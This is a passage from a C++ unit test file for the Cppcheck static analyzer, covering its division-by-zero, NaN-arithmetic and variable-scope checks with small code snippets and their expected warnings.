TEST_CASE(knownArgumentTernaryOperator);\n TEST_CASE(checkComparePointers);\n\n TEST_CASE(unusedVariableValueTemplate); // #8994\n\n TEST_CASE(moduloOfOne);\n\n TEST_CASE(sameExpressionPointers);\n\n TEST_CASE(checkOverlappingWrite);\n\n TEST_CASE(constVariableArrayMember); // #10371\n\n TEST_CASE(knownPointerToBool);\n TEST_CASE(iterateByValue);\n\n TEST_CASE(knownConditionFloating);\n TEST_CASE(knownConditionPrefixed);\n }\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void check_(const char* file, int line, const char (&code)[size], bool cpp = true, bool inconclusive = true, bool runSimpleChecks=true, bool verbose=false, Settings* settings = nullptr) {\n if (!settings) {\n settings = &_settings;\n }\n settings->severity.enable(Severity::style);\n settings->severity.enable(Severity::warning);\n settings->severity.enable(Severity::portability);\n settings->severity.enable(Severity::performance);\n settings->standards.c = Standards::CLatest;\n settings->standards.cpp = Standards::CPPLatest;\n settings->certainty.setEnabled(Certainty::inconclusive, inconclusive);\n settings->verbose = verbose;\n\n // Tokenize..\n SimpleTokenizer tokenizer(*settings, *this, cpp);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n\n (void)runSimpleChecks; // TODO Remove this\n }\n\n template\n void check_(const char* file, int line, const char (&code)[size], Settings *s) {\n check_(file, line, code, true, true, true, false, s);\n }\n\n struct CheckPOptions\n {\n CheckPOptions() = default;\n bool cpp = true;\n };\n\n#define checkP(...) checkP_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkP_(const char* file, int line, const char (&code)[size], const CheckPOptions& options = make_default_obj()) {\n Settings* settings = &_settings;\n settings->severity.enable(Severity::style);\n settings->severity.enable(Severity::warning);\n settings->severity.enable(Severity::portability);\n settings->severity.enable(Severity::performance);\n settings->standards.c = Standards::CLatest;\n settings->standards.cpp = Standards::CPPLatest;\n settings->certainty.enable(Certainty::inconclusive);\n\n SimpleTokenizer2 tokenizer(*settings, *this, code, options.cpp ? \"test.cpp\" : \"test.c\");\n\n // Tokenizer..\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n }\n\n template\n void checkInterlockedDecrement(const char (&code)[size]) {\n /*const*/ Settings settings = settingsBuilder().platform(Platform::Type::Win32A).build();\n\n check(code, true, false, true, false, &settings);\n }\n\n void emptyBrackets() {\n check(\"{\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void zeroDiv1() { // floating point division by zero => no error\n check(\"void foo() {\\n\"\n \" cout << 1. / 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" cout << 42 / (double)0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" cout << 42 / (float)0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" cout << 42 / (int)0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv2() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int sum = 0;\\n\"\n \" for(int i = 0; i < n; i ++)\\n\"\n \" {\\n\"\n \" sum += i;\\n\"\n \" }\\n\"\n \" cout< do not warn\n check(\"void f() {\\n\"\n \" int a = x/2*3/0;\\n\"\n \" int b = y/2*3%0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int x, int y) {\\n\"\n \" int a = x/2*3/0;\\n\"\n \" int b = y/2*3%0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (error) Division by zero. [zerodiv]\\n\"\n \"[test.cpp:3:16]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv8() {\n // #5584 - FP when function is unknown\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do_something(a);\\n\"\n \" return 4 / a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (error, inconclusive) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv9() {\n // #6403 FP zerodiv - inside protecting if-clause\n check(\"void foo() {\\n\"\n \" double fStepHelp = 0;\\n\"\n \" if( (rOuterValue >>= fStepHelp) ) {\\n\"\n \" if( fStepHelp != 0.0) {\\n\"\n \" double fStepMain = 1;\\n\"\n \" sal_Int32 nIntervalCount = static_cast< sal_Int32 >(fStepMain / fStepHelp);\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv10() {\n // #5402 false positive: (error) Division by zero -- with boost::format\n check(\"int main() {\\n\"\n \" std::cout\\n\"\n \" << boost::format(\\\" %d :: %s <> %s\\\") % 0 % \\\"a\\\" % \\\"b\\\"\\n\"\n \" << std::endl;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv11() {\n check(\"void f(int a) {\\n\"\n \" int res = (a+2)/0;\\n\"\n \" int res = (a*2)/0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (error) Division by zero. [zerodiv]\\n\"\n \"[test.cpp:3:18]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n check(\"void f() {\\n\"\n \" int res = (a+2)/0;\\n\"\n \" int res = (a*2)/0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv12() {\n // #8141\n check(\"intmax_t f() {\\n\"\n \" return 1 / imaxabs(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n void zeroDiv13() {\n // #7324\n check(\"int f () {\\n\"\n \" int dividend = 10;\\n\"\n \" int divisor = 1;\\n\"\n \" dividend = dividend / (--divisor);\\n\"\n \" return dividend;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:25]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv14() {\n check(\"void f() {\\n\" // #1169\n \" double dx = 1.;\\n\"\n \" int ix = 1;\\n\"\n \" int i = 1;\\n\"\n \" std::cout << ix / (i >> 1) << std::endl;\\n\"\n \" std::cout << dx / (i >> 1) << std::endl;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:21]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv15() { // #8319\n check(\"int f(int i) { return i - 1; }\\n\"\n \"int f() {\\n\"\n \" const int d = 1;\\n\"\n \" const int r = 1 / f(d);\\n\"\n \" return r;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:21]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n // #11158\n void zeroDiv16()\n {\n check(\"int f(int i) {\\n\"\n \" int number = 10, a = 0;\\n\"\n \" for (int count = 0; count < 2; count++) {\\n\"\n \" a += (i / number) % 10;\\n\"\n \" number = number / 10;\\n\"\n \" }\\n\"\n \" return a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" int number = 10, a = 0;\\n\"\n \" for (int count = 0; count < 2; count++) {\\n\"\n \" int x = number / 10;\\n\"\n \" a += (i / number) % 10;\\n\"\n \" number = x;\\n\"\n \" }\\n\"\n \" return a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv17() { // #9931\n check(\"int f(int len) {\\n\"\n \" int sz = sizeof(void*[255]) / 255;\\n\"\n \" int x = len % sz;\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv18()\n {\n check(\"int f(int x, int y) {\\n\"\n \" if (x == y) {}\\n\"\n \" return 1 / (x-y);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:11] -> [test.cpp:3:14]: (warning) Either the condition 'x==y' is redundant or there is division by zero at line 3. [zerodivcond]\\n\",\n errout_str());\n }\n\n void zeroDiv19()\n {\n check(\"void f() {\\n\" // #2456\n \" for (int i = 0;;)\\n\"\n \" int j = 10 / i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:20]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv20()\n {\n check(\"uint16_t f(void)\\n\" // #11175\n \"{\\n\"\n \" uint16_t x = 0xFFFFU;\\n\" // UINT16_MAX=0xFFFF\n \" return 42/(++x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv21()\n {\n check(\"int f(int n) {\\n\"\n \" return 1 / ((1 / n) - 1);\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" return f(1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv22()\n {\n check(\"int main() {\\n\"\n \" return _Generic((0), int: (42) / (0), default: 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:36]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDivCond() {\n check(\"void f(unsigned int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x > 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x>0' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n check(\"void f(unsigned int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x >= 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x>=1' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x==0' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n check(\"void f(unsigned int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x!=0' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n // function call\n check(\"void f1(int x, int y) { c=x/y; }\\n\"\n \"void f2(unsigned int y) {\\n\"\n \" f1(123,y);\\n\"\n \" if (y>0){}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:10] -> [test.cpp:1:28]: (warning) Either the condition 'y>0' is redundant or there is division by zero at line 1. [zerodivcond]\\n\",\n errout_str());\n\n // avoid false positives when variable is changed after division\n check(\"void f() {\\n\"\n \" unsigned int x = do_something();\\n\"\n \" int y = 17 / x;\\n\"\n \" x = some+calculation;\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n // function is called that might modify global variable\n check(\"void do_something();\\n\"\n \"int x;\\n\"\n \"void f() {\\n\"\n \" int y = 17 / x;\\n\"\n \" do_something();\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // function is called. but don't care, variable is local\n check(\"void do_something();\\n\"\n \"void f() {\\n\"\n \" int x = some + calculation;\\n\"\n \" int y = 17 / x;\\n\"\n \" do_something();\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:9] -> [test.cpp:4:14]: (warning) Either the condition 'x!=0' is redundant or there is division by zero at line 4. [zerodivcond]\\n\", errout_str());\n }\n\n check(\"void do_something(int value);\\n\"\n \"void f(int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" do_something(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int x;\\n\"\n \"void f() {\\n\"\n \" int y = 17 / x;\\n\"\n \" while (y || x == 0) { x--; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket 5033 segmentation fault (valid code) in CheckOther::checkZeroDivisionOrUselessCondition\n check(\"void f() {\\n\"\n \"double* p1= new double[1];\\n\"\n \"double* p2= new double[1];\\n\"\n \"double* p3= new double[1];\\n\"\n \"double* pp[3] = {p1,p2,p3};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5105 - FP\n check(\"int f(int a, int b) {\\n\"\n \" int r = a / b;\\n\"\n \" if (func(b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Unknown types for b and c --> do not warn\n check(\"int f(int d) {\\n\"\n \" int r = (a?b:c) / d;\\n\"\n \" if (d == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int a) {\\n\"\n \" int r = a ? 1 / a : 0;\\n\"\n \" if (a == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int a) {\\n\"\n \" int r = (a == 0) ? 0 : 1 / a;\\n\"\n \" if (a == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g();\\n\"\n \"void f(int b) {\\n\"\n \" int x = g();\\n\"\n \" if (x == 0) {}\\n\"\n \" else if (x > 0) {}\\n\"\n \" else\\n\"\n \" a = b / -x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"int f(A* a) {\\n\"\n \" if (a->x == 0) \\n\"\n \" a->x = 1;\\n\"\n \" return 1/a->x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10049\n check(\"int f(int argc) {\\n\"\n \" int quotient, remainder;\\n\"\n \" remainder = argc % 2;\\n\"\n \" argc = 2;\\n\"\n \" quotient = argc;\\n\"\n \" if (quotient != 0) \\n\"\n \" return quotient;\\n\"\n \" return remainder;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11315\n checkP(\"#define STATIC_ASSERT(c) \\\\\\n\"\n \"do { enum { sa = 1/(int)(!!(c)) }; } while (0)\\n\"\n \"void f() {\\n\"\n \" STATIC_ASSERT(sizeof(int) == sizeof(FOO));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11505\n check(\"void f(uint16_t num, uint8_t radix) {\\n\"\n \" int c = num % radix;\\n\"\n \" num /= radix;\\n\"\n \" if (!num) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nanInArithmeticExpression() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 3.0 / 0.0 + 1.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 3.0 / 0.0 - 1.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 1.0 + 3.0 / 0.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 1.0 - 3.0 / 0.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 3.0 / 0.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void varScope1() {\n check(\"unsigned short foo()\\n\"\n \"{\\n\"\n \" test_client CClient;\\n\"\n \" try\\n\"\n \" {\\n\"\n \" if (CClient.Open())\\n\"\n \" {\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (...)\\n\"\n \" {\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"\\n\"\n \" try\\n\"\n \" {\\n\"\n \" CClient.Close();\\n\"\n \" }\\n\"\n \" catch (...)\\n\"\n \" {\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"\\n\"\n \" return 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope2() {\n check(\"int foo()\\n\"\n \"{\\n\"\n \" Error e;\\n\"\n \" e.SetValue(12);\\n\"\n \" throw e;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope3() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \" int *p = 0;\\n\"\n \" if (abc)\\n\"\n \" {\\n\"\n \" p = &i;\\n\"\n \" }\\n\"\n \" *p = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope4() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope5() {\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int i = 0;\\n\"\n \" if (x) {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" const unsigned char i = 0;\\n\"\n \" if (x) {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int i = 0;\\n\"\n \" if (x) {b()}\\n\"\n \" else {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope6() {\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int i = x;\\n\"\n \" if (a) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \" if (b) {\\n\"\n \" c(i);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #5398\n \" bool success = false;\\n\"\n \" int notReducable(someClass.getX(&success));\\n\"\n \" if (success) {\\n\"\n \" foo(notReducable);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(Test &test) {\\n\"\n \" int& x = test.getData();\\n\"\n \" if (test.process())\\n\"\n \" x = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \"int foo = 0;\\n\"\n \"std::vector vec(10);\\n\"\n \"BOOST_FOREACH(int& i, vec)\\n\"\n \"{\\n\"\n \" foo += 1;\\n\"\n \" if(foo == 10)\\n\"\n \" {\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int &x)\\n\"\n \"{\\n\"\n \" int n = 1;\\n\"\n \" do\\n\"\n \" {\\n\"\n \" ++n;\\n\"\n \" ++x;\\n\"\n \" } while (x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope7() {\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int y = 0;\\n\"\n \" b(y);\\n\"\n \" if (x) {\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope8() {\n check(\"void test() {\\n\"\n \" float edgeResistance=1;\\n\"\n \" std::vector edges;\\n\"\n \" BOOST_FOREACH(int edge, edges) {\\n\"\n \" edgeResistance = (edge+1) / 2.0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) The scope of the variable 'edgeResistance' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope9() {\n // classes may have extra side effects\n check(\"class fred {\\n\"\n \"public:\\n\"\n \" void x();\\n\"\n \"};\\n\"\n \"void test(int a) {\\n\"\n \" fred f;\\n\"\n \" if (a == 2) {\\n\"\n \" f.x();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope10() {\n check(\"int f()\\n\"\n \"{\\n\"\n \" int x = 0;\\n\"\n \" FOR {\\n\"\n \" foo(x++);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope11() {\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" AB ab = { x, 0 };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" if (a == 0) { ++x; }\\n\"\n \" AB ab = { x, 0 };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" if (a == 0) { ++x; }\\n\"\n \" if (a == 1) { AB ab = { x, 0 }; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope12() {\n check(\"void f(int x) {\\n\"\n \" int i[5];\\n\"\n \" int* j = y;\\n\"\n \" if (x)\\n\"\n \" foo(i);\\n\"\n \" foo(j);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int i[5];\\n\"\n \" int* j;\\n\"\n \" if (x)\\n\"\n \" j = i;\\n\"\n \" foo(j);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" const bool b = true;\\n\"\n \" x++;\\n\"\n \" if (x == 5)\\n\"\n \" foo(b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" const bool b = x;\\n\"\n \" x++;\\n\"\n \" if (x == 5)\\n\"\n \" foo(b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope13() {\n // #2770\n check(\"void f() {\\n\"\n \" int i = 0;\\n\"\n \" forever {\\n\"\n \" if (i++ == 42) { break; }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope14() {\n // #3941\n check(\"void f() {\\n\"\n \" const int i( foo());\\n\"\n \" if(a) {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope15() {\n // #4573\n check(\"void f() {\\n\"\n \" int a,b,c;\\n\"\n \" if (a);\\n\"\n \" else if(b);\\n\"\n \" else if(c);\\n\"\n \" else;\\n\"\n \"}\", true, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope16() {\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" while((++a) < 56) {\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do {\\n\"\n \" foo();\\n\"\n \" } while((++a) < 56);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do {\\n\"\n \" a = 64;\\n\"\n \" foo(a);\\n\"\n \" } while((++a) < 56);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do {\\n\"\n \" a = 64;\\n\"\n \" foo(a);\\n\"\n \" } while(z());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'a' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope17() {\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" if (a) {\\n\"\n \" x = stuff(x);\\n\"\n \" morestuff(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" if (a) {\\n\"\n \" x = stuff(x);\\n\"\n \" morestuff(x);\\n\"\n \" }\\n\"\n \" if (b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope18() {\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"\\n\"\n \" if (c) {\\n\"\n \" x = foo();\\n\"\n \" do_something(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" x = 10;\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"\\n\"\n \" if (c) {\\n\"\n \" x = foo();\\n\"\n \" do_something(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" if(c)\\n\"\n \" do_something(x);\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" if(c)\\n\"\n \" do_something(x);\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" if(d)\\n\"\n \" do_something(x);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope20() { // Ticket #5103 - constant variable only used in inner scope\n check(\"int f(int a) {\\n\"\n \" const int x = 234;\\n\"\n \" int b = a;\\n\"\n \" if (b > 32) b = x;\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope21() { // Ticket #5382 - initializing two-dimensional array\n check(\"int test() {\\n\"\n \" int test_value = 3;\\n\"\n \" int test_array[1][1] = { { test_value } };\\n\"\n \" return sizeof(test_array);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope22() { // Ticket #5684 - \"The scope of the variable 'p' can be reduced\" - But it can not.\n check(\"void foo() {\\n\"\n \" int* p( 42 );\\n\"\n \" int i = 0;\\n\"\n \" while ( i != 100 ) {\\n\"\n \" *p = i;\\n\"\n \" ++p;\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n // try to avoid an obvious false negative after applying the fix for the example above:\n check(\"void foo() {\\n\"\n \" int* p( 42 );\\n\"\n \" int i = 0;\\n\"\n \" int dummy = 0;\\n\"\n \" while ( i != 100 ) {\\n\"\n \" p = & dummy;\\n\"\n \" *p = i;\\n\"\n \" ++p;\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'p' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope23() { // #6154: Don't suggest to reduce scope if inner scope is a lambda\n check(\"int main() {\\n\"\n \" size_t myCounter = 0;\\n\"\n \" Test myTest([&](size_t aX){\\n\"\n \" std::cout << myCounter += aX << std::endl;\\n\"\n \" });\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope24() {\n check(\"void f(Foo x) {\\n\"\n \" Foo &r = x;\\n\"\n \" if (cond) {\\n\"\n \" r.dostuff();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'r' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(Foo x) {\\n\"\n \" Foo foo = x;\\n\"\n \" if (cond) {\\n\"\n \" foo.dostuff();\\n\"\n \" }\\n\"\n \"}\");\n 